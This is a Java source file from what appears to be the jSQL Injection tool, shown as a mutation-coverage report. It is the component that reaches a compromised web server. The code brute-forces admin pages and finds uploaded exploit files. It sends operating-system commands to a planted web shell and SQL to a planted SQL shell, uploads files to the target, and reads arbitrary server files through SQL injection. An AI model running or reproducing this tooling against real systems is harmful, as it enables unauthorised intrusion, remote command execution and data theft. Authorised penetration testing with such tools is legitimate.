ResourceAccess.java

1
/*******************************************************************************
2
 * Copyhacked (H) 2012-2025.
3
 * This program and the accompanying materials
4
 * are made available under no term at all, use it like
5
 * you want, but share and discuss it
6
 * every time possible with every body.
7
 * 
8
 * Contributors:
9
 *      ron190 at ymail dot com - initial implementation
10
 ******************************************************************************/
11
package com.jsql.model.accessible;
12
13
import com.jsql.model.InjectionModel;
14
import com.jsql.model.accessible.engine.*;
15
import com.jsql.model.bean.database.MockElement;
16
import com.jsql.model.suspendable.Input;
17
import com.jsql.view.subscriber.Seal;
18
import com.jsql.model.exception.JSqlException;
19
import com.jsql.model.suspendable.SuspendableGetRows;
20
import com.jsql.util.ConnectionUtil;
21
import com.jsql.util.LogLevelUtil;
22
import org.apache.commons.lang3.StringUtils;
23
import org.apache.logging.log4j.LogManager;
24
import org.apache.logging.log4j.Logger;
25
26
import java.io.File;
27
import java.io.IOException;
28
import java.io.InputStream;
29
import java.net.URI;
30
import java.net.URLEncoder;
31
import java.net.http.HttpHeaders;
32
import java.net.http.HttpRequest;
33
import java.net.http.HttpRequest.BodyPublishers;
34
import java.net.http.HttpResponse;
35
import java.net.http.HttpResponse.BodyHandlers;
36
import java.nio.charset.StandardCharsets;
37
import java.nio.file.Files;
38
import java.nio.file.Paths;
39
import java.time.Duration;
40
import java.util.*;
41
import java.util.concurrent.CompletionService;
42
import java.util.concurrent.ExecutionException;
43
import java.util.concurrent.ExecutorCompletionService;
44
import java.util.concurrent.ExecutorService;
45
import java.util.function.BinaryOperator;
46
import java.util.regex.Pattern;
47
48
/**
49
 * Resource access object.
50
 * Get information from file system, commands, webpage.
51
 */
52
public class ResourceAccess {
53
    
54
    private static final Logger LOGGER = LogManager.getRootLogger();
55
56
    /**
57
     * True if admin page should stop, false otherwise.
58
     */
59
    private boolean isSearchAdminStopped = false;
60
    
61
    /**
62
     * True if scan list should stop, false otherwise.
63
     */
64
    private boolean isScanStopped = false;
65
66
    /**
67
     * True if ongoing file reading must stop, false otherwise.
68
     * If true any new file read is cancelled at start.
69
     */
70
    private boolean isSearchFileStopped = false;
71
72
    /**
73
     * List of ongoing jobs.
74
     */
75
    private final List<CallableFile> callablesReadFile = new ArrayList<>();
76
    private final InjectionModel injectionModel;
77
    private final ExploitSqlite exploitSqlite;
78
    private final ExploitMysql exploitMysql;
79
    private final ExploitOracle exploitOracle;
80
    private final ExploitPostgres exploitPostgres;
81
    private final ExploitHsqldb exploitHsqldb;
82
    private final ExploitH2 exploitH2;
83
    private final ExploitDerby exploitDerby;
84
85
    // compatible cross-platform win+linux (spaces around plus sign required)
86
    public static final String WEB_CONFIRM_CMD = URLEncoder.encode("expr 133707330 + 10001", StandardCharsets.ISO_8859_1);
87
    public static final String WEB_CONFIRM_RESULT = "133717331";
88
    public static final String SQL_CONFIRM_CMD = "select 1337";
89
    public static final String SQL_CONFIRM_RESULT = "| 1337 |";
90
91
    public static final String SQL_DOT_PHP = "sql.php";
92
    public static final String EXPLOIT_DOT_UPL = "exploit.upl";
93
    public static final String EXPLOIT_DOT_WEB = "exploit.web";
94
    public static final String UPLOAD_SUCCESSFUL = "Upload successful: ack received for {}{}";
95
    public static final String UPLOAD_FAILURE = "Upload failure: missing ack for {}{}";
96
97
    public static final String LOID_NOT_FOUND = "Exploit loid not found";
98
    public static final String ADD_LOID = "loid#create";
99
    public static final String WRITE_LOID = "loid#write";
100
    public static final String READ_LOID = "loid#read";
101
102
    public static final String DROP_FUNC = "func#drop";
103
    public static final String ADD_FUNC = "body#add-func";
104
    public static final String RUN_FUNC = "body#run-func";
105
    public static final String BODY_CONFIRM = "body#confirm";
106
    public static final String UDF_RUN_CMD = "udf#run-cmd";
107
108
    public static final String TBL_CREATE = "tbl#create";
109
    public static final String TBL_FILL = "tbl#fill";
110
    public static final String TBL_DUMP = "tbl#dump";
111
    public static final String TBL_DROP = "tbl#drop";
112
    public static final String TBL_READ = "tbl#read";
113
114
    public static final String FILE_READ = "file#read";
115
116
    // TODO should redirect error directly to default output
117
    public static final String TEMPLATE_ERROR = "Command failure: %s\nTry '%s 2>&1' to get a system error message.\n";
118
119
    public ResourceAccess(InjectionModel injectionModel) {
120
        this.injectionModel = injectionModel;
121
        this.exploitSqlite = new ExploitSqlite(injectionModel);
122
        this.exploitMysql = new ExploitMysql(injectionModel);
123
        this.exploitOracle = new ExploitOracle(injectionModel);
124
        this.exploitPostgres = new ExploitPostgres(injectionModel);
125
        this.exploitHsqldb = new ExploitHsqldb(injectionModel);
126
        this.exploitH2 = new ExploitH2(injectionModel);
127
        this.exploitDerby = new ExploitDerby(injectionModel);
128
    }
129
130
    /**
131
     * Check if every page in the list responds 200 Success.
132
     * @param pageNames    List of admin pages to test
133
     */
134
    public int createAdminPages(String urlInjection, List<String> pageNames) {
135
        var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection);
136
        matcher.find();
137
        String urlProtocol = matcher.group(1);
138
        String urlWithoutProtocol = matcher.group(3);
139
140
        List<String> folderSplits = new ArrayList<>();
141
142
        // Hostname only
143 2 1. createAdminPages : negated conditional → NO_COVERAGE
2. createAdminPages : negated conditional → NO_COVERAGE
        if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) {
144
            urlWithoutProtocol = "/dummy";
145
        }
146
        String[] splits = urlWithoutProtocol.split("/", -1);
147 1 1. createAdminPages : Replaced integer subtraction with addition → NO_COVERAGE
        String[] folderNames = Arrays.copyOf(splits, splits.length - 1);
148
        for (String folderName: folderNames) {
149
            folderSplits.add(folderName +"/");
150
        }
151
152
        ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetAdminPage");
153
        CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
154
155
        var urlPart = new StringBuilder();
156
        for (String segment: folderSplits) {
157
            urlPart.append(segment);
158
            for (String pageName: pageNames) {
159
                taskCompletionService.submit(
160
                    new CallableHttpHead(
161
                        urlProtocol + urlPart + pageName,
162
                        this.injectionModel,
163
                        "check:page"
164
                    )
165
                );
166
            }
167
        }
168
169
        var nbAdminPagesFound = 0;
170 1 1. createAdminPages : Replaced integer multiplication with division → NO_COVERAGE
        int submittedTasks = folderSplits.size() * pageNames.size();
171
        int tasksHandled;
172
        for (
173
            tasksHandled = 0
174 3 1. createAdminPages : negated conditional → NO_COVERAGE
2. createAdminPages : changed conditional boundary → NO_COVERAGE
3. createAdminPages : negated conditional → NO_COVERAGE
            ; tasksHandled < submittedTasks && !this.isSearchAdminStopped()
175
            ; tasksHandled++
176
        ) {
177
            nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound);
178
        }
179
180 1 1. createAdminPages : removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE
        this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
181
        this.isSearchAdminStopped = false;
182 1 1. createAdminPages : removed call to com/jsql/model/accessible/ResourceAccess::logSearchAdminPage → NO_COVERAGE
        this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled);
183
184 1 1. createAdminPages : replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::createAdminPages → NO_COVERAGE
        return nbAdminPagesFound;
185
    }
186
187
    public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) {
188
        int nbAdminPagesFoundFixed = nbAdminPagesFound;
189
        
190
        try {
191
            CallableHttpHead currentCallable = taskCompletionService.take().get();
192 1 1. callAdminPage : negated conditional → NO_COVERAGE
            if (currentCallable.isHttpResponseOk()) {
193 1 1. callAdminPage : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
                this.injectionModel.sendToViews(new Seal.CreateAdminPageTab(currentCallable.getUrl()));
194 1 1. callAdminPage : Changed increment from 1 to -1 → NO_COVERAGE
                nbAdminPagesFoundFixed++;
195
                LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl());
196
            }
197
        } catch (InterruptedException e) {
198
            LOGGER.log(LogLevelUtil.IGNORE, e, e);
199 1 1. callAdminPage : removed call to java/lang/Thread::interrupt → NO_COVERAGE
            Thread.currentThread().interrupt();
200
        } catch (ExecutionException e) {
201
            LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
202
        }
203 1 1. callAdminPage : replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::callAdminPage → NO_COVERAGE
        return nbAdminPagesFoundFixed;
204
    }
205
206
    public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) {
207
        var result = String.format(
208
            "Searched %s/%s page%s: %s found",
209
            tasksHandled,
210
            submittedTasks,
211 2 1. logSearchAdminPage : negated conditional → NO_COVERAGE
2. logSearchAdminPage : changed conditional boundary → NO_COVERAGE
            tasksHandled > 1 ? 's' : StringUtils.EMPTY,
212
            nbAdminPagesFound
213
        );
214
        
215 2 1. logSearchAdminPage : negated conditional → NO_COVERAGE
2. logSearchAdminPage : changed conditional boundary → NO_COVERAGE
        if (nbAdminPagesFound > 0) {
216
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
217
        } else {
218
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
219
        }
220
    }
221
222
    public String checkUrls(String urlExploit, String nameExploit, BinaryOperator<String> biFuncGetRequest) {
223
        String urlExploitFixed = urlExploit;
224 1 1. checkUrls : negated conditional → NO_COVERAGE
        if (!urlExploitFixed.isEmpty()) {
225
            urlExploitFixed = urlExploitFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
226
        }
227
        String url = urlExploitFixed;
228 1 1. checkUrls : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(url)) {
229
            url = this.injectionModel.getMediatorUtils().connectionUtil().getUrlBase();
230
        }
231
        String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY);
232
        String urlProtocol;
233 1 1. checkUrls : negated conditional → NO_COVERAGE
        if ("/".equals(urlWithoutProtocol)) {
234
            urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY);
235
        } else {
236
            urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY);
237
        }
238
239
        List<String> directoryNames = new ArrayList<>();
240
        String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/");
241 1 1. checkUrls : negated conditional → NO_COVERAGE
        if (urlWithoutFileName.split("/").length == 0) {
242
            directoryNames.add("/");
243
        }
244
        for (String directoryName: urlWithoutFileName.split("/")) {
245
            directoryNames.add(directoryName +"/");
246
        }
247
        String urlSuccess = this.getExploitUrl(nameExploit, directoryNames, urlProtocol);
248 1 1. checkUrls : negated conditional → NO_COVERAGE
        if (urlSuccess != null) {
249
            urlSuccess = biFuncGetRequest.apply(nameExploit, urlSuccess);
250
        } else {
251
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit access failure: connection URL not found");
252
        }
253 1 1. checkUrls : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::checkUrls → NO_COVERAGE
        return urlSuccess;
254
    }
255
256
    private String getExploitUrl(String filename, List<String> directoryNames, String urlProtocol) {
257
        ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetExploitUrl");
258
        CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
259
        var urlPart = new StringBuilder();
260
261
        for (String segment: directoryNames) {
262
            urlPart.append(segment);
263
            taskCompletionService.submit(
264
                new CallableHttpHead(
265
                    urlProtocol + urlPart + filename,
266
                    this.injectionModel,
267
                    "xplt#confirm-url"
268
                )
269
            );
270
        }
271
272
        String urlSuccess = null;
273
        int submittedTasks = directoryNames.size();
274 2 1. getExploitUrl : negated conditional → NO_COVERAGE
2. getExploitUrl : changed conditional boundary → NO_COVERAGE
        for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) {
275
            try {
276
                CallableHttpHead currentCallable = taskCompletionService.take().get();
277 1 1. getExploitUrl : negated conditional → NO_COVERAGE
                if (currentCallable.isHttpResponseOk()) {
278
                    urlSuccess = currentCallable.getUrl();
279
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Connection successful to [{}]", currentCallable.getUrl());
280
                    break;
281
                }
282
            } catch (InterruptedException e) {
283
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
284 1 1. getExploitUrl : removed call to java/lang/Thread::interrupt → NO_COVERAGE
                Thread.currentThread().interrupt();
285
            } catch (ExecutionException e) {
286
                LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
287
            }
288
        }
289
290 1 1. getExploitUrl : removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE
        this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
291 1 1. getExploitUrl : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getExploitUrl → NO_COVERAGE
        return urlSuccess;
292
    }
293
294
    public String callCommand(String urlCommand) {
295 1 1. callCommand : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::callCommand → NO_COVERAGE
        return this.callCommand(urlCommand, false);
296
    }
297
298
    public String callCommand(String urlCommand, boolean isConnectIssueIgnored) {
299
        String pageSource;
300
        try {
301
            pageSource = this.injectionModel.getMediatorUtils().connectionUtil().getSource(urlCommand, isConnectIssueIgnored);
302
        } catch (Exception e) {
303
            pageSource = StringUtils.EMPTY;
304
        }
305
        
306
        var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*?)<"+ DataAccess.TRAIL +">").matcher(pageSource);
307
        regexSearch.find();
308
309
        String result;
310
        // IllegalStateException #1544: catch incorrect execution
311
        try {
312
            result = regexSearch.group(1);
313
        } catch (IllegalStateException e) {
314
            result = StringUtils.EMPTY;  // fix return null from regex
315 1 1. callCommand : negated conditional → NO_COVERAGE
            if (!isConnectIssueIgnored) {
316
                LOGGER.log(LogLevelUtil.CONSOLE_ERROR, String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", "command"));
317
            }
318
        }
319
        return result;
320
    }
321
    
322
    /**
323
     * Run a shell command on host.
324
     * @param command The command to execute
325
     * @param uuidShell An unique identifier for terminal
326
     * @param urlExploit Web path of the shell
327
     */
328
    public String runWebShell(String command, UUID uuidShell, String urlExploit) {
329 1 1. runWebShell : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runWebShell → NO_COVERAGE
        return this.runWebShell(command, uuidShell, urlExploit, false);
330
    }
331
    public String runWebShell(String command, UUID uuidShell, String urlExploit, boolean isConnectIssueIgnored) {
332
        String result = this.callCommand(
333
            urlExploit +"?c="+ URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
334
            isConnectIssueIgnored
335
        );
336 1 1. runWebShell : negated conditional → NO_COVERAGE
        if (StringUtils.isBlank(result)) {
337
            result = String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", command);
338
        }
339 1 1. runWebShell : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));  // Unfreeze GUI terminal
340 1 1. runWebShell : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runWebShell → NO_COVERAGE
        return result;
341
    }
342
343
    /**
344
     * Execute SQL request into terminal defined by URL path, eventually override with database user/pass identifiers.
345
     * @param command SQL request to execute
346
     * @param uuidShell Identifier of terminal sending the request
347
     * @param urlExploit URL to send SQL request against
348
     * @param username Username [optional]
349
     * @param password password [optional]
350
     */
351
    public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password) {
352 1 1. runSqlShell : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runSqlShell → NO_COVERAGE
        return this.runSqlShell(command, uuidShell, urlExploit, username, password, true);
353
    }
354
355
    public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password, boolean isResultSentToView) {
356
        String result = this.callCommand(String.format(
357
             "%s?q=%s&u=%s&p=%s",
358
             urlExploit,
359
             URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
360
             username,
361
             password
362
        ));
363
            
364 1 1. runSqlShell : negated conditional → NO_COVERAGE
        if (result.contains("<SQLr>")) {
365
            List<List<String>> listRows = this.parse(result);
366 1 1. runSqlShell : negated conditional → NO_COVERAGE
            if (listRows.isEmpty()) {
367
                result = "Result not found: check your credentials or review logs in tab Network\n";
368
            } else {
369
                List<Integer> listFieldsLength = this.parseColumnLength(listRows);
370
                result = this.convert(listRows, listFieldsLength);
371
            }
372
        }
373
374 1 1. runSqlShell : negated conditional → NO_COVERAGE
        if (isResultSentToView) {
375 1 1. runSqlShell : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));  // Unfreeze GUI terminal
376
        }
377 1 1. runSqlShell : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runSqlShell → NO_COVERAGE
        return result;
378
    }
379
380
    private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) {
381
        var tableText = new StringBuilder("+");
382
        for (Integer fieldLength: listFieldsLength) {
383
            tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
384
        }
385
        tableText.append("\n");
386
        for (List<String> listFields: listRows) {
387
            tableText.append("|");
388
            var cursorPosition = 0;
389
            for (String field: listFields) {
390
                tableText.append(StringUtils.SPACE)
391
                    .append(field)
392 1 1. convert : Replaced integer subtraction with addition → NO_COVERAGE
                    .append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length()))
393
                    .append(" |");
394 1 1. convert : Changed increment from 1 to -1 → NO_COVERAGE
                cursorPosition++;
395
            }
396
            tableText.append("\n");
397
        }
398
        tableText.append("+");
399
        for (Integer fieldLength: listFieldsLength) {
400
            tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
401
        }
402
        tableText.append("\n");
403 1 1. convert : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::convert → NO_COVERAGE
        return tableText.toString();
404
    }
405
406
    private List<Integer> parseColumnLength(List<List<String>> listRows) {
407
        List<Integer> listFieldsLength = new ArrayList<>();
408
        for (
409
            var indexLongestRowSearch = 0;
410 2 1. parseColumnLength : negated conditional → NO_COVERAGE
2. parseColumnLength : changed conditional boundary → NO_COVERAGE
            indexLongestRowSearch < listRows.getFirst().size();
411
            indexLongestRowSearch++
412
        ) {
413
            int indexLongestRowSearchFinal = indexLongestRowSearch;
414 1 1. parseColumnLength : removed call to java/util/List::sort → NO_COVERAGE
            listRows.sort(
415 2 1. lambda$parseColumnLength$0 : replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::lambda$parseColumnLength$0 → NO_COVERAGE
2. lambda$parseColumnLength$0 : Replaced integer subtraction with addition → NO_COVERAGE
                (firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length()
416
            );
417
            listFieldsLength.add(listRows.getFirst().get(indexLongestRowSearch).length());
418
        }
419 1 1. parseColumnLength : replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::parseColumnLength → NO_COVERAGE
        return listFieldsLength;
420
    }
421
422
    private List<List<String>> parse(String result) {
423
        List<List<String>> listRows = new ArrayList<>();
424
        var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result);
425 1 1. parse : negated conditional → NO_COVERAGE
        while (rowsMatcher.find()) {
426
            String values = rowsMatcher.group(1);
427
            var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values);
428
            List<String> listFields = new ArrayList<>();
429
            listRows.add(listFields);
430
            
431 1 1. parse : negated conditional → NO_COVERAGE
            while (fieldsMatcher.find()) {
432
                String field = fieldsMatcher.group(1);
433
                listFields.add(field);
434
            }
435
        }
436 1 1. parse : replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::parse → NO_COVERAGE
        return listRows;
437
    }
438
439
    public HttpResponse<String> upload(File file, String url, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException {
440
        var crLf = "\r\n";
441
        var boundary = "---------------------------4664151417711";
442
        
443
        var streamData = new byte[streamToUpload.available()];
444 1 1. upload : negated conditional → NO_COVERAGE
        if (streamToUpload.read(streamData) == -1) {
445
            throw new JSqlException("Error reading the file");
446
        }
447
        
448
        String headerForm = StringUtils.EMPTY;
449
        headerForm += "--"+ boundary + crLf;
450
        headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf;
451
        headerForm += "Content-Type: binary/octet-stream"+ crLf;
452
        headerForm += crLf;
453
454
        String headerFile = StringUtils.EMPTY;
455
        headerFile += crLf +"--"+ boundary +"--"+ crLf;
456
457
        var httpRequest = HttpRequest.newBuilder()
458
            .uri(URI.create(url))
459
            .timeout(Duration.ofSeconds(15))
460
            .POST(BodyPublishers.ofByteArrays(
461
                Arrays.asList(
462
                    headerForm.getBytes(StandardCharsets.UTF_8),
463
                    Files.readAllBytes(Paths.get(file.toURI())),
464
                    headerFile.getBytes(StandardCharsets.UTF_8)
465
                )
466
            ))
467
            .setHeader("Content-Type", "multipart/form-data; boundary=" + boundary)
468
            .build();
469
470
        var response = this.injectionModel.getMediatorUtils().connectionUtil().getHttpClient().build().send(httpRequest, BodyHandlers.ofString());
471
        HttpHeaders httpHeaders = response.headers();
472
        String pageSource = response.body();
473
474 1 1. upload : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.MessageHeader(
475
            url,
476
            null,
477
            ConnectionUtil.getHeadersMap(httpRequest.headers()),
478
            ConnectionUtil.getHeadersMap(httpHeaders),
479
            pageSource,
480
            null,
481
            null,
482
            "upl#multipart",
483
            null
484
        ));
485 1 1. upload : replaced return value with null for com/jsql/model/accessible/ResourceAccess::upload → NO_COVERAGE
        return response;
486
    }
487
    
488
    /**
489
     * Check if current user can read files.
490
     * @return True if user can read file, false otherwise
491
     * @throws JSqlException when an error occurs during injection
492
     */
493
    public boolean isMysqlReadDenied() throws JSqlException {
494
        var sourcePage = new String[]{ StringUtils.EMPTY };
495
        String resultInjection = new SuspendableGetRows(this.injectionModel).run(new Input(
496
            this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getPrivilege(),
497
            sourcePage,
498
            false,
499
            1,
500
            MockElement.MOCK,
501
            "privilege"
502
        ));
503
504
        boolean readingIsAllowed = false;
505
506 1 1. isMysqlReadDenied : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(resultInjection)) {
507 1 1. isMysqlReadDenied : removed call to com/jsql/model/InjectionModel::sendResponseFromSite → NO_COVERAGE
            this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
508 1 1. isMysqlReadDenied : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.MarkFileSystemInvulnerable());
509 1 1. isMysqlReadDenied : negated conditional → NO_COVERAGE
        } else if ("false".equals(resultInjection)) {
510
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted: files not readable by current user");
511 1 1. isMysqlReadDenied : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.MarkFileSystemInvulnerable());
512
        } else {
513 1 1. isMysqlReadDenied : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.MarkFileSystemVulnerable());
514
            readingIsAllowed = true;
515
        }
516
        
517 2 1. isMysqlReadDenied : replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isMysqlReadDenied → NO_COVERAGE
2. isMysqlReadDenied : negated conditional → NO_COVERAGE
        return !readingIsAllowed;
518
    }
519
520
    /**
521
     * Attempt to read files in parallel by their path from the website using injection.
522
     * Reading file needs a FILE right on the server.
523
     * The user can interrupt the process at any time.
524
     * @param pathsFiles List of file paths to read
525
     * @throws JSqlException when an error occurs during injection
526
     * @throws InterruptedException if the current thread was interrupted while waiting
527
     * @throws ExecutionException if the computation threw an exception
528
     */
529
    public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
530
        if (
531 1 1. readFile : negated conditional → NO_COVERAGE
            this.injectionModel.getMediatorEngine().getEngine() == this.injectionModel.getMediatorEngine().getMysql()
532 1 1. readFile : negated conditional → NO_COVERAGE
            && this.isMysqlReadDenied()
533
        ) {
534
            return Collections.emptyList();
535
        }
536
537
        var countFileFound = 0;
538
        var results = new ArrayList<String>();
539
540
        ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableReadFile");
541
        CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
542
543
        for (String pathFile: pathsFiles) {
544
            var callableFile = new CallableFile(pathFile, this.injectionModel);
545
            taskCompletionService.submit(callableFile);
546
            this.callablesReadFile.add(callableFile);
547
        }
548
549
        List<String> duplicate = new ArrayList<>();
550
        int submittedTasks = pathsFiles.size();
551
        int tasksHandled;
552
553
        for (
554
            tasksHandled = 0
555 3 1. readFile : changed conditional boundary → NO_COVERAGE
2. readFile : negated conditional → NO_COVERAGE
3. readFile : negated conditional → NO_COVERAGE
            ; tasksHandled < submittedTasks && !this.isSearchFileStopped
556
            ; tasksHandled++
557
        ) {
558
            var currentCallable = taskCompletionService.take().get();
559 1 1. readFile : negated conditional → NO_COVERAGE
            if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) {
560
                var name = currentCallable.getPathFile().substring(
561 1 1. readFile : Replaced integer addition with subtraction → NO_COVERAGE
                    currentCallable.getPathFile().lastIndexOf('/') + 1
562
                );
563
                String content = currentCallable.getSourceFile();
564
                String path = currentCallable.getPathFile();
565
566 1 1. readFile : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
                this.injectionModel.sendToViews(new Seal.CreateFileTab(name, content, path));
567
568 1 1. readFile : negated conditional → NO_COVERAGE
                if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) {
569
                    LOGGER.log(
570
                        LogLevelUtil.CONSOLE_INFORM,
571
                        "Folder exploit candidate: {}",
572 1 1. lambda$readFile$1 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$readFile$1 → NO_COVERAGE
                        () -> path.replace(name, StringUtils.EMPTY)
573
                    );
574
                }
575
576
                duplicate.add(path.replace(name, StringUtils.EMPTY));
577
                results.add(content);
578
579 1 1. readFile : Changed increment from 1 to -1 → NO_COVERAGE
                countFileFound++;
580
            }
581
        }
582
583
        // Force ongoing suspendables to stop immediately
584
        for (CallableFile callableReadFile: this.callablesReadFile) {
585 1 1. readFile : removed call to com/jsql/model/suspendable/SuspendableGetRows::stop → NO_COVERAGE
            callableReadFile.getSuspendableReadFile().stop();
586
        }
587 1 1. readFile : removed call to java/util/List::clear → NO_COVERAGE
        this.callablesReadFile.clear();
588 1 1. readFile : removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE
        this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
589
        this.isSearchFileStopped = false;
590
591
        var result = String.format(
592
            "Searched %s/%s file%s: %s found",
593
            tasksHandled,
594
            submittedTasks,
595 2 1. readFile : negated conditional → NO_COVERAGE
2. readFile : changed conditional boundary → NO_COVERAGE
            tasksHandled > 1 ? 's' : StringUtils.EMPTY,
596
            countFileFound
597
        );
598
599 2 1. readFile : negated conditional → NO_COVERAGE
2. readFile : changed conditional boundary → NO_COVERAGE
        if (countFileFound > 0) {
600
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
601
        } else {
602
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
603
        }
604 1 1. readFile : replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::readFile → NO_COVERAGE
        return results;
605
    }
606
607
    public String getResult(String query, String metadata) throws JSqlException {
608
        var sourcePage = new String[]{ StringUtils.EMPTY };
609 1 1. getResult : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getResult → NO_COVERAGE
        return new SuspendableGetRows(this.injectionModel).run(new Input(
610
            query,
611
            sourcePage,
612
            false,
613
            0,
614
            MockElement.MOCK,
615
            metadata
616
        ));
617
    }
618
619
    public String getResultWithCatch(String query, String metadata) {
620
        var sourcePage = new String[]{ StringUtils.EMPTY };
621
        try {
622 1 1. getResultWithCatch : replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getResultWithCatch → NO_COVERAGE
            return new SuspendableGetRows(this.injectionModel).run(new Input(
623
                query,
624
                sourcePage,
625
                false,
626
                0,
627
                MockElement.MOCK,
628
                metadata
629
            ));
630
        } catch (JSqlException ignored) {
631
            return StringUtils.EMPTY;
632
        }
633
    }
634
635
    /**
636
     * Mark the search of files to stop.
637
     * Any ongoing file reading is interrupted and any new file read
638
     * is cancelled.
639
     */
640
    public void stopSearchFile() {
641
        this.isSearchFileStopped = true;
642
        for (CallableFile callable: this.callablesReadFile) {
643 1 1. stopSearchFile : removed call to com/jsql/model/suspendable/SuspendableGetRows::stop → NO_COVERAGE
            callable.getSuspendableReadFile().stop();  // force ongoing business to stop immediately
644
        }
645
    }
646
647
    public void stopSearchAdmin() {
648
        this.isSearchAdminStopped = true;
649
    }
650
651
652
    // Getters and setters
653
654
    public ExploitSqlite getExploitSqlite() {
655 1 1. getExploitSqlite : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitSqlite → NO_COVERAGE
        return this.exploitSqlite;
656
    }
657
658
    public ExploitMysql getExploitMysql() {
659 1 1. getExploitMysql : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getExploitMysql → NO_COVERAGE
        return this.exploitMysql;
660
    }
661
662
